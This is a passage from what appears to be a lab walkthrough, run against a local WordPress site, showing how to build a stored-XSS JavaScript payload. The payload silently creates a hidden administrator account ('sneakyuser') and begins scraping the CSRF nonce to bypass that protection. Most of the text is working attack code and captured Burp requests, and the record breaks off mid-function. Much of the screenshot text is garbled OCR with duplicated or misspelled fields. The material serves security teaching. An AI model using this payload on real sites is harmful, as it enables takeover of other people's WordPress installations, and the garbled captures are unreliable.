Raw Params Headers Hex POST request to /wp-admin/user-new.php Type Name Value Cookie wordpress_5c016e8f0f95f039102cbe8366c5c7f3 admin[1601685426]lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTknV Cookie wordpress_test_cookie WP Cookie check Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin[1601685426]lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTknV Cookie wp-bstESID crinahkcgs0gb2gpvgvb5k6lor Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin[1601685426]lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTknV Cookie wp-settings-1 libraryContent=browse&mfold=o Cookie wp-settings-time-1 1601512626 Body action createuser Body _wp-Inttp_referer /wp-admin/user-new.php Body _use_login testUser Body user_login test@etser.com Body last_name site-default Body udicale site-default Body pass1 testPassword Body pass2 testPassword Body pass2 dministrator <td>Request Res</td> <td>ponse</td> <td></td> <td></td>	Request Res	ponse							
Raw Perams Hex POST request to /wp-admin/user-new.php Value Type Name Value Cookie wordpress_5c016e8f0f95f039102cbe8366c5c7f3 admin[1601685426]lyqoZzCVljbZogUBywuSGwqBdiJJapFEum3HvTknV Cookie wordpress_test_cookie WP Cookie check Cookie PHPSESSID crinahkcgs0p2gpvgvb5k6l0r Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin[1601685426]lyqoZzCVljbZogUBywuSGwqBdiJJapFEum3HvTknV Cookie wp-settings-1 libraryContent_browse&mfold=o Cookie wp-settings-1 1601512626 Body _wp_notce_create-user f3587fa5a8 Body _wp_ntp_referer /wp-admin/user-new.php Body _wp_ntp_referer /wp-admin/user-new.php Body _user_login testUser Body last_name									
POST request to /wp-admin/user-new.php Type Name Value Cookie wordpress_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCV jbZogUBywuSGwqBdljlapFEum3HvTknV Cookie wordpress_lest_cookie WP Cookie check Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCV jbZogUBywuSGwqBdljlapFEum3HvTknV Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCV jbZogUBywuSGwqBdljlapFEum3HvTknV Cookie wp-settings-1 libraryContent=browse&mfold=o Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCV jbZogUBywuSGwqBdljlapFEum3HvTknV Cookie wp-settings-ime-1 libraryContent=browse&mfold=o Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCV jbZogUBywuSGwqBdljlapFEum3HvTknV Cookie wp-settings-ime-1 libraryContent=browse&mfold=o Cookie wp-settings-ime-1 l601512626 Body _wp_intpi_ferer /wp-admin/user-new.php Body _wp_ltpi_referer /wp-admin/user-new.php Body _sit_name	Raw Params	Headers Hex							
TypeNameValueCookiewordpress_5c016e8f0f95f039102cbe8366c5c7f3admin 1601685426 lyqoZzCVljbZogUBywuSGwqBdljjlapFEum3HvTkn\Cookiewordpress_test_cookieWP Cookie checkCookiePHPSESSIDcrinahkcgs0gb2gvgvb5k6l0rCookiewordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3admin 1601685426 lyqoZzCVljbZogUBywuSGwqBdljjlapFEum3HvTkn\Cookiewp-settings-1libraryContent=browse&mfold=oCookiewp-settings-1ime-11601512626BodyactioncreateuserBody_wp_notce_create-userf3587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyemailtestUserBodyemailtest@testr.comBodyfirst_namesite-defaultBodyurltestPasswordBodypass1testPasswordBodypass2onBodypass2onBodyroleadministratorBodyure_other_rolesAdd New User	POST request to /w	p-admin/user-new.php							
Cookiewordpress_5c016e8f0f95f039102cbe8366c5c7f3admin 1601685426 lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTknVCookiewordpress_test_cookieWP Cookie checkCookiePHPSESSIDcrinahkcgs0gb2gpvgvb5k6lorCookiewordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3admin11601685426 lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTknVCookiewp-settings-1libraryContent=browse&mfold=oCookiewp-settings-11601512626BodyattioncreateuserBody_wponce_create-userf3587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyemailtestUserBodyemailtest@tester.comBodygirst_namesite-defaultBodyurlsite-defaultBodypass1testPasswordBodypass2onBodypass2administratorBodypass2site-defaultBodypass2solonBodypass2testPasswordBodypass2administratorBodypass2administratorBodyroleadministratorBodyure_other_rolesmonBodyroleadministratorBodyure_ther_rolesAdd New User	Туре	Name	Value						
Cookie wordpress_test_cookie WP Cookie check Cookie PHPSESSID crinahkcgs0gb2gpvgvb5k6lor Cookie wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCVljbZogUBywuSGwqBdijlapFEum3HvTkNV Cookie wp-settings-1 libraryContent=browse&mfold=o Cookie wp-settingstime-1 1601512626 Body action createuser Body _wpnonce_create-user f3587fa5a8 Body _wp_http_referer ////////////////////////////////////	Cookie	wordpress_5c016e8f0f95f039102cbe8366c5c7f3	admin 1601685426 IyqoZz	CVljbZogUBywuSGwqBdIjJlapFEum3HvTkn\					
CookiePHPSESSIDcrinahkcgs0gb2gpvgvb5k6l0rCookiewordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3admin 1601685426 lyqoZzCV bZogUBywuSGwqBdiJJapFEum3HvTkNCookiewp-settings-1libraryContent=browse&mfold=oCookiewp-settings-1ime-11601512626BodyactioncreateuserBody_wpnonce_create-userf3587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyuser_logintestUserBodyfirst_name	Cookie	wordpress_test_cookie	WP Cookie check						
Cookie wordpress_logged_in_sc016e8f0f95f039102cbe8366c5c7f3 admin 1601685426 lyqoZzCVljbZogUBywuSGwqBdijJapFEum3HvTknV Cookie wp-settings-1 libraryContent=browse&mfold=o Cookie wp-settings-time-1 1601512626 Body action createuser Body _wponce_create-user f3587fa5a8 Body _wp_http_referer //wp-admin/user-new.php Body email testUser Body first_name	Cookie	PHPSESSID	crinahkcgs0gb2gpvgvb5k6l	Or					
Cookie wp-settings-1 libraryContent=browse&mfold=o Cookie wp-settings-time-1 1601512626 Body action createuser Body _wpnonce_create-user f3587fa5a8 Body _wp_http_referer /wp-admin/user-new.php Body user_login testUser Body email testUser Body first_name	Cookie	wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3	admin 1601685426 IyqoZz	CVljbZogUBywuSGwqBdljJlapFEum3HvTkn\					
Cookiewp-settings-time-11601512626BodyactioncreateuserBody_wponce_create-userf3587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyuser_logintestUserBodyemailtestUserBodyfirst_nametest@tester.comBodylast_namesite-defaultBodyurltestPasswordBodypass1testPasswordBodypass2testPasswordBodyroleonBodyure_other_rolesonBodyure_other_rolesAdd New User	Cookie	wp-settings-1	libraryContent=browse&m	fold=o					
BodyactioncreateuserBody_wpnonce_create-userf587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyuser_logintestUserBodyemailtest@tester.comBodyfirst_nameBodylast_nameBodyurlBodylocalesite-defaultBodypass1testPasswordBodypass2onBodyroleonBodyure_other_rolesonBodyure_other_rolesAdd New User	Cookie	wp-settings-time-1	1601512626	1					
Bodywpnonce_create-userf3587fa5a8Body_wp_http_referer/wp-admin/user-new.phpBodyuser_logintestUserBodyemailtest@tester.comBodyfirst_nameBodylast_nameBodyurlBodylocalesite-defaultBodypass1testPasswordBodypass2testPasswordBodyroleonBodyure_other_rolesadministratorBodyure_other_rolesAdd New User	Body	action	createuser						
Body_wp_http_referer/wp-admin/user-new.phpBodyuser_logintestUserBodyemailtest@tester.comBodyfirst_nameBodylast_nameBodyurlBodylocaleBodypass1Bodypass2Bodypw_weakBodyroleBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rol	Body	_wpnonce_create-user	f3587fa5a8						
Bodyuser_logintestUserBodyemailtest@tester.comBodyfirst_nameBodylast_nameBodyurlBodylocaleBodypass1Bodypass2Bodypw_weakBodyroleBodyroleBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other_rolesBodyure_other ure_other ure_other ure ure ure ure ure ure ure ure ure u	Body	_wp_http_referer	/wp-admin/user-new.php						
Body email test@tester.com Body first_name	Body	user_login	testUser						
Body first_name Body last_name Body url Body locale Body pass1 Body pass2 Body role Body ure_other_roles Body ure_other_roles Body createuser	Body	email	test@tester.com						
Body last_name Body url Body locale Body pass1 Body pass2 Body pw_weak Body role Body ure_other_roles Body ure_other_roles	Body	first_name							
BodyurlBodylocalesite-defaultBodypass1testPasswordBodypass2testPasswordBodypw_weakonBodyroleadministratorBodyure_other_roles	Body	last_name							
Body locale site-default Body pass1 testPassword Body pass2 testPassword Body pw_weak on Body role administrator Body ure_other_roles	Body	url	5 I.C. I.						
Body pass1 testPassword Body pass2 testPassword Body pw_weak on Body role administrator Body ure_other_roles	Body	locale	site-default						
Body pw_weak on Body role administrator Body ure_other_roles	Body	pass1	testPassword						
Body pw_weak on Body role administrator Body ure_other_roles Body createuser	Body	passz	ap						
Body ure_other_roles Body createuser	Body	pw_weak rolo	administrator						
Body createuser Add New User	Body	ure other roles	aurimistratur						
	Body	createuser	Add New User						
	20037								

Simpler view of body parameters

We won't have to worry about the Cookie parameters, the victim's browser running our malicious XSS payload will add those cookies automatically for us. We do however have to craft the body of this request. Let's take a closer look at these parameters.

Body	action	createuser
Body	_wpnonce_create-user	f3587fa5a8
Body	_wp_http_referer	/wp-admin/user-new.php
Body	user_login	testUser
Body	email	test@tester.com
Body	first_name	
Body	last_name	
Body	url	
Body	locale	site-default
Body	passl	testPassword
Body	pass2	testPassword
Body	pw_weak	on
Body	role	administrator
Body	ure_other_roles	
Body	createuser	Add New User

New user request body parameters

We can see a few variables from our new user form, **user_login**, **email**, and **pass1**, **pass1-text**, **and pass2**. We used a terrible password in this example and had to select the checkbox for 'Confirm use of weak password'. By checking that box, we set the parameter **pw_weak** to **on**. We also see that the **role** parameter is set to **administrator**.

We have a few static parameters: action = createuser _wp_http_referer = /wp-admin/user-new.php Createuser = Add New User These we will be able to hard code in our request.

That leaves the **_wpnonce_create-user** value. This is a security protection against Cross-Site Request Forgery (CSRE) attacks. The server will reject our request if this value is incorrect. It is

Request Forgery (CSRF) attacks. The server will reject our request if this value is incorrect. It is randomly generated and sent to the client prior to the making of this request. Let's ignore that for now and come back to it later.

Let's start building up our JavaScript payload to make this request. We'll be using XMLHttpRequests (XHR) to make our requests in the background asynchronously. This way our victim doesn't notice their browser locking up as our malicious requests are sent in the background.

We know that we need to make a post to the endpoint **/wp-admin/user-new.php.** Let's create a function in our **payload.js** file with that URI as a variable, and the user variables we identified earlier in our Burp inspections.

```
function addAdminUser()
{
    var uri = "/wp-admin/user-new.php";
    var username = "sneakyuser";
    var email = "sneaky%40somewhere.com"
    var password = "password";
}
```

This is a good start. Now, we need to create our XHR request that will send a **POST** request to the URI we defined. Add this to the function.

NOTE: Copies of the code snippets used in the guide can be found in /home/playerone/payloadDev/guideCodeSnippets.js

```
...
xhr = new XMLHttpRequest();
xhr.open("POST", uri);
...
```

We need to set the **Content-Type** header so that the server knows how to process the body we're sending it. You can see the headers for the request on the **Headers** subtab.

	Burp Suite Community Edition v2020.9.1 - Temporary Project									
	Burp Project Intrud	er Repeat	er Window	Help						
	Dashboard Targe	t Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User optic
	Intercept HTTP history WebSockets history Options									
_										

Logging of out-of-scope Proxy traffic is disabled Re-enable

Filter: Hiding out of scope items; hiding CSS, image and general binary content

# 🔺	Host	Method	URL	Params	Edited	Status	Length	MIME
223	nup.//127.0.0.1	PUST	/wp-aurnin/aurnin-ajax.prip	v		200	330	12014
226	http://127.0.0.1	POST	/wp-admin/admin-ajax.php	\checkmark		200	536	JSON
227	http://127.0.0.1	POST	/wp-admin/user-new.php	\checkmark		302	404	HTML
228	http://127.0.0.1	GFT	/wp-admin/users.php?update=ad	J		200	49934	HTMI

Request Response

Raw Params Headers Hex					
Name	Value				
POST	/wp-admin/user-new.php HTTP/1.1				
Host	127.0.0.1				
User-Agent	Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0				
Accept	ext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8				
Accept-Language	en-US,en;q=0.5				
Accept-Encoding	gzip, deflate				
Referer	http://127.0.0.1/wp-admin/user-new.php				
Content-Type	application/x-www-form-urlencoded				
Content-Length	294				
Origin	http://127.0.0.1				
Connection	close				
Cookie	wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1601685426%7ClyqoZzCVljbZo				
Upgrade-Insecure-Requests	1				

1 action=createuser&_wpnonce_create-user=f3587fa5a8&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_logi
t_name=&url=&locale=site-default&pass1=testPassword&pass2=testPassword&pw_weak=on&role=administrator&ur

Content type request header

We can manually set this header in our JavaScript by adding the following code to our function.

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Now we're ready to start putting together the body of our request. Let's look at our body parameters again.

Body	action	createuser
Body	_wpnonce_create-user	f3587fa5a8
Body	_wp_http_referer	/wp-admin/user-new.php
Body	user_login	testUser
Body	email	test@tester.com
Body	first_name	
Body	last_name	
Body	url	
Body	locale	site-default
Body	passl	testPassword
Body	pass2	testPassword
Body	pw_weak	on
Body	role	administrator
Body	ure_other_roles	
Body	createuser	Add New User

New user request body parameters

We'll start off with hard coding the first three values within our function. We'll come back later to making the **_wpnonce_create-user** parameter dynamic. For now, hardcoding it will be fine. Your value will likely be different than what you see in the screenshots, use whatever your nonce value is.

```
...
var body = "action=createuser&";
body += "_wpnonce_create-user=1c0eb1d904&";
body += "_wp_http_referer=%2Fwp-admin%2Fuser-new.php&";
...
```

We have our first three parameters hard coded, let's now add the next two that use some of our variables at the top of the function. Recall that we initially set up some variables, including: **var username = "sneakyuser";**

```
var email = "sneaky%40somewhere.com";
```

We're going to reference these variables in our next two lines of code we add.

•••

...

```
body += "user_login=" + username + "&";
body += "email=" + email + "&";
...
```

When these lines are appended to the end of our **body** (+= is the append operation), they'll have **sneakyuser** as the username and **sneaky@somewhere.com** as the email address.

Given those examples, the remainder of the body won't be surprising to you:

```
...
body += "first_name=&";
body += "last_name=&";
body += "uri=&";
body += "pass1=" + password + "&";
body += "pass1-text=" + password + "&";
body += "pass2=" + password + "&";
body += "pw_weak=on&";
body += "pw_weak=on&";
body += "role=administrator&";
body += "ure_select_other_roles=&";
body += "createuser=Add+New+User";
...
```

This looks good! Only one more thing to do. Send the request. Add this last bit of code:

... xhr.send(body); ...

```
Our final function should look like this:
function addAdminUser()
{
      var uri = "/wp-admin/user-new.php";
      var username = "sneakyuser";
                    = "sneaky%40somewhere.com";
      var email
      var password = "password";
      xhr = new XMLHttpRequest();
      xhr.open("POST", uri);
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      var body = "action=createuser&";
      body += " wpnonce create-user=1c0eb1d904&";
      body += " wp http referer=%2Fwp-admin%2Fuser-new.php&";
      body += "user_login=" + username + "&";
      body += "email=" + email + "&";
      body += "first name=&";
      body += "last name=&";
      body += "uri=&";
      body += "pass1=" + password + "&";
      body += "pass1-text=" + password + "&";
      body += "pass2=" + password + "&";
      body += "pw_weak=on&";
      body += "send_user_notification=0&";
      body += "role=administrator&";
      body += "ure select other roles=&";
      body += "createuser=Add+New+User";
      xhr.send(body);
```

}

We also need to call the function so it actually runs, so just after the function closing bracket add:

addAdminUser();

Make sure that is all copied into your **payload.js** file, delete your extra admin you already added manually, then go back to the post preview to execute the payload.

```
5
                                       ~/payloadDev/payload.js - Sublime Text (UNREGISTERED)
File
      Edit Selection Find View Goto Tools Project Preferences Help
 < >
         demoFunctions.js 🗙 🗸 payload.js
        // Place your malicious payload in this file!
   2
        function addAdminUser()
             var uri = "/wp-admin/user-new.php";
             var username = "sneakyuser";
             var email = "sneaky%40somewhere.com";
             var password = "password";
             xhr = new XMLHttpRequest();
             xhr.open("POST", uri);
             xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
             var body = "action=createuser&";
body += "_wpnonce_create-user=f3587fa5a8&";
             body += "_wpnonce_create-user=f3587fa5a8&";
body += "_wp_http_referer=%2Fwp-admin%2Fuser-new.php&";
             body += "user login=" + username + "&";
             body += "email=" + email + "&";
             body += "first_name=&";
             body += "last name=&";
             body += "uri=&";
             body += "pass1=" + password + "&";
body += "pass1-text=" + password + "&";
body += "pass2=" + password + "&";
body += "pw_weak=on&";
             body += "send_user_notification=0&";
body += "role=administrator&";
body += "ure_select_other_roles=&";
             body += "createuser=Add+New+User";
             xhr.send(body);
        addAdminUser();
```

Basic add admin user payload

Refresh the XSS Post preview to execute your payload.



InfoSec Fashionistas — The hottest in T-Shirt fashion



Post preview refresh will execute payload

If your nonce value hasn't changed yet (fingers crossed!), your new admin user should have been added when the post was refreshed.

**	lisers	InfoSec Fashionistas — WordPress	- Mozilla Firefox	
VCC Deet. Jefe Can Fachierie M				
XSS Post – InfoSec Fashionis X	Users < InfoSec Fashionistas X	+		
← → ♂ ☆	🕲 i 127.0.0.1/wp-admin/us	ers.php	E	⊠ ☆
🚯 🏦 InfoSec Fashionistas	😋 4 📮 0 🕂 New			
🙆 Dashboard Us	ers Add New			Screen Option
🖈 Posts 🛛 🗛 🖌	(3) Administrator (2) Contributo	or (1)		
93 Media Bu	ulk actions 🗸 🖌 Apply Chan	ge role to 🗸 Change G	rant Roles Add role 🗸	Add Revoke role
📕 Pages				
Comments	Username	Name	Email	Role
✗ Appearance	admin	_	admin@example.com	Administrator
🖌 Plugins	bob	Bob Wifflebottoms	drew.kirkpatrick+tester@gm	ail.co Contributor
🕹 Users 🗸			m	
All Users				
Add New	sneakyuser	_	sneaky@somewhere.com	Administrator
Profile				
User Role Editor	Username	Name	Email	Role
🖋 Tools	ulk actions V Apply Chan	ge role to V Change G	rant Roles Add role v	Add Revoke role
Settings				

New sneaky administrator added

You can also find the request in Burp history to see what the response was.

Burp Suite Community Edition v2020.9.1 - Temporary Project													
Burp Project Intruder Repeater Window Help													
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options													
Inter	Intercept HTTP history WebSockets history Options												
Logging of out-of-scope Proxy traffic is disabled Re-enable													
Filter: Hiding out of scope items; hiding CSS, image and general binary content													
# 🔺	Host	Me	ethod URL	-			Param	s Edited	Status	Length	MIME type	Extension	Title
278	http://127.0.0.1	GE	aw) T	-content/plugi	ns/photo-gal	lery/	~		200	159457	script	is	
279	http://127.0.0.1	GE	T /wp	-content/plugi	ns/photo-gal	lery/	1		200	7919	script	is	
280	http://127.0.0.1	GE	aw\ T	-includes/is/ac	lmin-bar.min	is?v	1		200	3869	script	is	
281	http://127.0.0.1	GE	- T /wp	-includes/is/ho	verintent-is.	, min	1		200	2008	script	is	
282	http://127.0.0.1	GE	- T Jwp	-includes/is/w	, embed.mir	1.is?	1		200	1724	script	is	
283	http://127.0.0.1	GE	T /wp	-includes/is/w	o-emoii-relea	se	1		200	14538	script	is	
284	http://127.0.0.1	GE	T /wp	-content/plugi	ns/photo-ga	lerv/	Ĵ		200	25460	script	is	
285	http://127.0.0.1	PC	ST /wp	-admin/user-n	ew.php		1		302	404	HTML	php	
290	http://127.0.0.1	GE	T /wp	admin/users.	php?update	=ad	1		200	49952	HTML	php	Users &lsaguo
291	http://127.0.0.1	GE	aw\ T	-admin/about	php				200	37812	HTML	php	About &Isaguo:
292	http://127.0.0.1	GE	aw\ T	admin/users.	php				200	49441	HTML	php	Users & saquo:
	1.0)	
								_					
Requ	uest Respons	e											
Raw	Params Header	rs Hex											
POST	request to /wp-admi	n/user-new.php											
Туре	Name	e					Value						
Cooki	e wordp	oress_test_cook	ie				WP Co	okie check	:				
Cooki	e PHPS	ESSID					crinahl	cgs0gb2g	pvgvb5k6l0	r			
Cooki	e wordp	oress_logged_in	_5c016e8f0	f95f039102cb	e8366c5c7f	3	admin	16016854	26 JyqoZzC	∨ljbZogU	BywuSGwqBd	ljJlapFEum3⊢	IvTknVC b446c8fe
Cooki	e wp-se	ettings-1					library	Content=b	orowse&mfo	ld=o			
Cooki	e wp.ee	ttinge time 1					16015	2626		-			
Body	Body action createuser												
Body	Bodywpnonce_create-user					f3587fa5a8							
Body	Bodywp_http_referer				/wp-admin/user-new.php								
Body	user_	login					sneaky	user					
Body	emai						sneaky	@somewh	nere.com				
Body	first_r	name											
Body	last_r	name											
Body	uri												
Body	pass	1					passwo	ord					
								1					

POST request made by your malicious payload

If you had a syntax error in your JavaScript, you would have seen it in the Console at the bottom of the XSS Post preview. Typos happen. There could be some trial and error to get the code right.

That Darned Nonce

If the code was correct, but it still didn't work, it's possible the nonce value has changed. We need to figure out a solution to get the real nonce value anyway. If you develop your payload against your development system, and then use that payload against a different WordPress system, the nonce value will be different.

So, we really need to figure out how to find the true and up to date nonce value to put in our request. How do we find it?

For our request to be accepted, our client has to send a predetermined random value the server is expecting. Our client knows this value because the server sent that nonce value to it at some point prior to the client making the new user **POST** request. An easy way to find this would be to

use Burp's search functionality to search all server responses for the string "_wpnonce_create-user". That's how I found it.

Unfortunately you're using the free community edition of Burp, which does not include search functionality. When you navigate to the add user form that you filled in, that form is posted back when you submit it. That's the form your malicious JavaScript is creating. That form contains a hidden field with the correct nonce value.

If you search your proxy history for a **GET** request to **/wp-admin/user-new.php**, select that request and view the server response, you can search that response for **_wpnonce_create-user**.

	Burp Suite Community Edition v2020.9.1 - Temporary Project																																		
Burp	Project Intruder Repe	eater Window Help																																	
Das	hboard Target Pro>	y Intruder Repe	ater Sequencer	Decoder Com	nparer E	dender	Project optio	ns U	ser options																										
Inter	rcept HTTP history	WebSockets history	Options	G	T R	ear	iest																												
				Logging of out of	-scope Pro.	xy tranic	is disabled	Re-en	able																										
Filter:	Hiding out of scope ite	ms; hiding CSS, im	age and general b	inary cont int																															
#	Host	Method	URL		Params	Edited	Status L	ength	MIME type	Extension	Title																								
214	http://127.0.0.1	GET	/wp-admin/user-n	ew.php			200 4	42350	HTML	php	Add New User &																								
215	http://127.0.0.1	GET	/wp-admin/user-n	ew.php			200 4	12350	HTML	php	Add New User &																								
218	http://127.0.0.1	GET	/wp-admin/load-s	cripts.php?c=0&	. 🗸		200 9	99397	script	php																									
219	http://127.0.0.1	GET	/wp-content/plugi	ns/user-role-edit	\checkmark		200 2	2192	script	js																									
220	http://127.0.0.1	GET	/wp-content/plugi	ns/user-role-edit	\checkmark		200 3	34441	script	js																									
221	http://127.0.0.1	GET	/wp-includes/js/jqu	uery/ui/button.mi	. 🗸		200 7	7508	script	js																									
222	http://127.0.0.1	GET	/wp-includes/js/jqu	uery/ui/draggable.	. 🗸		200 1	19139	script	js																									
Prett	y Raw Render \n	Actions V	ew-user >																																
240			I																																
241																																			
243		<div id="ajax
</div></td><td>- response"></div>				N	lon		مىباد																										
244		,								aluc																									
245		Create a br	and new user ar	nd add them to	this sit	e.			<u>ا</u>																										
246 247		<form method="<br">></form>	"post" name="ci	reateuser" id="	createus	er" clas	ss="validat	e" nov	alidate="	alidate"																									
248		<input name<="" td=""/> <td>="action" type</td> <td>="hidden" value</td> <td>="create</td> <td>user" /></td> <td>></td> <td></td> <td></td> <td></td> <td></td>	="action" type	="hidden" value	="create	user" />	>																												
249		<input type<br=""/> <input type<br=""/> <table cl<="" td=""><td>="hidden" id=" ="hidden" name= ass="form-table</td><td><u>_wpnonce_create</u> ="_wp_http_refe e" role="presen</td><td>-user"n rer" val tation"></td><td>ame="<u>_wp</u> ue="/wp·</td><td>admin/user</td><td>te-use -new.p</td><td>r" value="1 hp" /></td><td>135871a5a8</td><td>/></td></table>	="hidden" id=" ="hidden" name= ass="form-table	<u>_wpnonce_create</u> ="_wp_http_refe e" role="presen	-user"n rer" val tation">	ame=" <u>_wp</u> ue="/wp·	admin/user	te-use -new.p	r" value="1 hp" />	135871a5a8	/>																								
250		<tr class<="" td=""><td>="Torm-Tield To</td><td>orm-required"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr> <tr><td>231</td><td></td><td><labe Use <td>pe="row"> l for="user_loo rname <span cla<br="">el></td><td>gin"> ass="descriptic</td><td>n">(requ</td><td>ired)<td>span></td><td></td><td></td><td></td><td></td></td></labe </td></tr> <tr><td></td><td></td><td>- (+h</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>	="Torm-Tield To	orm-required">								231		<labe Use <td>pe="row"> l for="user_loo rname <span cla<br="">el></td><td>gin"> ass="descriptic</td><td>n">(requ</td><td>ired)<td>span></td><td></td><td></td><td></td><td></td></td></labe 	pe="row"> l for="user_loo rname <span cla<br="">el>	gin"> ass="descriptic	n">(requ	ired) <td>span></td> <td></td> <td></td> <td></td> <td></td>	span>							- (+h									
="Torm-Tield To	orm-required">																																		
231		<labe Use <td>pe="row"> l for="user_loo rname <span cla<br="">el></td><td>gin"> ass="descriptic</td><td>n">(requ</td><td>ired)<td>span></td><td></td><td></td><td></td><td></td></td></labe 	pe="row"> l for="user_loo rname <span cla<br="">el>	gin"> ass="descriptic	n">(requ	ired) <td>span></td> <td></td> <td></td> <td></td> <td></td>	span>																												
		- (+h																																	

The nonce value is contained on the user-new.php page

To complete our new administrator attack, we need some additional code to fetch the **user-new.php** page and parse out the nonce value before we construct and send our malicious **POST** request.

First, we need a helper function to help format the server responses. You can copy this verbatim from the **demoFunctions.js** file if you wish. That function is:

```
function read_body(xhr)
{
      var data;
      if (!xhr.responseType || xhr.responseType === "text")
      {
             data = xhr.responseText;
      }
      else if (xhr.responseType === "document")
      {
             data = xhr.responseXML;
      }
      else if (xhr.responseType === "json")
      {
             data = xhr.responseJSON;
      }
      else
      {
             data = xhr.response;
      }
      return data;
}
```

Next, we need a function to get the page with the nonce value. The URI is the same value as we used in our **POST** request.

```
function findNonce()
{
    var uri = "/wp-admin/user-new.php";
    xhr = new XMLHttpRequest();
    xhr.open("GET", uri, true);
    xhr.send(null);
```

}

Note that this XHR request is using a **GET** request instead of the **POST** request in our previous function. This code will retrieve the **user-new.php** page for us. Now we need to do something with the response.

Up until now we haven't had to wait for our request to finish. We do have to worry about that now. We'll add some code that will wait until our **GET** request has completed.

The inner bracket where the "*II* **do something**" comment is won't execute until our **GET** request has completed. This is where we need to put our response parsing code that will find our nonce value. Add the following code in the inner bracket.

```
...
var response = read_body(xhr);
```

•••

So we're passing our XHR request to the **read_body** helper function we added, and we're getting back the response as text and saving it in a **response** variable. This variable now holds the full HTML content of that page including the add new user form and our nonce.

You can print the entirety of the response to the console for testing purposes.

... console.log(response);

•••

But that's going to be very messy. There's a lot of content in that response. We want to narrow down to our nonce. Let's look at the nonce again in the HTML.

```
<input type="hidden" id="_wpnonce_create-user" name="_wpnonce_create-user" value="lc0ebld904" />
Nonce value in server response.
```

Let's search for this code in our response. A good string to search for might be "name="_wpnonce_create-user" value="'. That string should be static, and right after the 'value=' is the actual content we need to isolate. Let's find this string in our response with the following code.

```
...
var noncePos = response.indexOf('name="_wpnonce_create-user" value="");
console.log("Nonce string index is: " + noncePos);
...
```

This will find the index of this string in the response. We can put this all together and print out this index.

function findNonce()

```
{
```

```
var uri = "/wp-admin/user-new.php";
      xhr = new XMLHttpRequest();
      xhr.open("GET", uri, true);
      xhr.send(null);
      xhr.onreadystatechange = function()
      {
             if (xhr.readyState == XMLHttpRequest.DONE)
             {
                    // do something
                    var response = read_body(xhr);
                    var noncePos = response.indexOf('name="_wpnonce_create-user"
value="");
                    console.log("Nonce string index is: " + noncePos);
             }
      }
}
```

Let's type this function into the **payload.js** and call it. Don't forget to add the helper read_body() function as well.



Function to find nonce value index

Go back to the XSS Post preview and refresh, and you should get the index number printed out in your web developer console.

۵	XSS Post - InfoSec Fashionistas - Mozilla Firefox
XSS Post – InfoSec Fashionis $ imes$	Add New User < InfoSec Fast × +
← → ♂ ☆	⑦ ③ 127.0.0.1/?p=214&preview=true
🚯 🍪 InfoSec Fashionistas 🖌	Customize 📀 4 📮 0 🕂 New 🖉 Edit Post

InfoSec Fashionistas — The hottest in T-Shirt fashion

XSS Post

```
💄 Bob Wifflebottoms 🛛 🕓 October 1, 2020 🛛 🔲 Leave a comment 📝 Edi
```



Getting close to the nonce value

Let's add a little bit more code into our function below our console print statement.

```
...
var nonceVal = response.substring(noncePos, noncePos+100);
console.log("Nonce substring is: " + nonceVal);
```

•••

